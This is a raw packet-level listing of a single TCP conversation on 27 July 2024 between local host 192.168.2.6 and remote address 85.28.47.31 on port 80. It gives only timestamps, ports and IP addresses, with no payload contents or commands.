Jul 27, 2024 03:19:14.581247091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581248045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.581265926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.683522940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.688514948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861191034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861418962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861483097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861531973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861541033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861566067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861579895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861598969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861612082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861632109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861644983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861665010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861675978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861700058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861710072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861733913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861747980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861768007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861779928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861800909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861812115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861834049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861845970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861867905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861876965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861901045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861906052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861933947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861944914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.861968040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.861979008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862003088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862010956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862056017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862245083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862294912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862301111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862344980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862346888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862380028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862391949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862411976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862430096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862446070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862452030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862492085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862498045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862531900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862552881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862575054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862581015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862615108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862632990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862648010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862660885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862682104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862694979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862715006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862729073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862747908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862765074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862782001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862792969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862816095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862829924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862849951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.862864017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.862896919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863078117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863126040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863130093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863163948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863178968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863212109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863217115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863260984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863270044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863302946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863317966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863349915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863353014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863387108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863399982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863420963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863436937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863465071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863470078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863502026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863519907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863533974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863540888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863580942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863584995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863617897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863639116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863650084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863660097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863696098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863699913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863733053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863754988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863765001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863776922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863815069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863817930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863850117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863864899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863882065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863898039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863928080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.863931894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863965034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.863982916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864010096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864257097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864289999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864315033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864341974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864343882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864378929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864399910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864412069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864428997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864448071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864463091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864494085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864506960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864542007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864552975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864573956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864589930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864619970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864624977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864675999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864676952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864712000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864725113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864744902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864758968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864778996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864792109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864810944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864826918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864844084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864855051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864876986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864892960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864911079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864927053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864943981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864959955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.864979029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.864993095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865011930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865036011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865045071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865056992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865092993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865097046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865130901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865158081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865163088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865169048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865195990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865212917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865230083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865246058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865263939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865278006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865297079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865313053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865343094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865346909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865379095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865394115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865411997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865425110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865443945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865458965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865483999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865493059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865519047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865531921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865554094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865567923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865586996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865602970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865622997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865641117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865654945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865672112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865689993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865703106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865725040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865736961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865758896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865775108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865791082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865808010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865824938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865839005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865856886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865871906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865890980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865906000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865923882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865937948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865958929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.865972042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.865993023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866007090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866027117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866040945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866063118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866076946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866111040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866175890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866211891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866226912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866245985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866259098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866306067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866353035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866385937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866404057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866417885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866424084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866452932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.866466999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.866499901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.949651003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.949719906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.949858904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.949892998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.949922085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.949942112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.949944019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.949976921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.949992895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950010061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950020075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950042963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950052023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950078964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950088978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950112104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950119972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950145960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950156927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950180054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950191021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950215101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950223923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950249910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950259924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950283051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950293064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950316906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950328112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950361967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950750113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950803041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950803995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950845003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950855970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.950898886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.950906992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951004028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951011896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951051950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951055050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951087952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951097965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951132059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951137066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951232910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951282024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951284885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951284885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951318979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951323032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951366901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951370001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951416016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951420069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951462984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951469898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951524019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951781034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951826096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951833010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951865911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951878071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951899052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951910019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951932907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.951941013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951975107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.951982975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952027082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952032089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952069044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952075958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952100992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952104092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952148914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952156067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952188969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952205896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952230930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952239037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952274084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952282906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952310085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952320099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952342987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952361107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952378035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952379942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952413082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952423096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952459097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952464104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952511072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952517033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952552080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952557087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952596903 CEST	49710	80	192.168.2.6	85.28.47.31
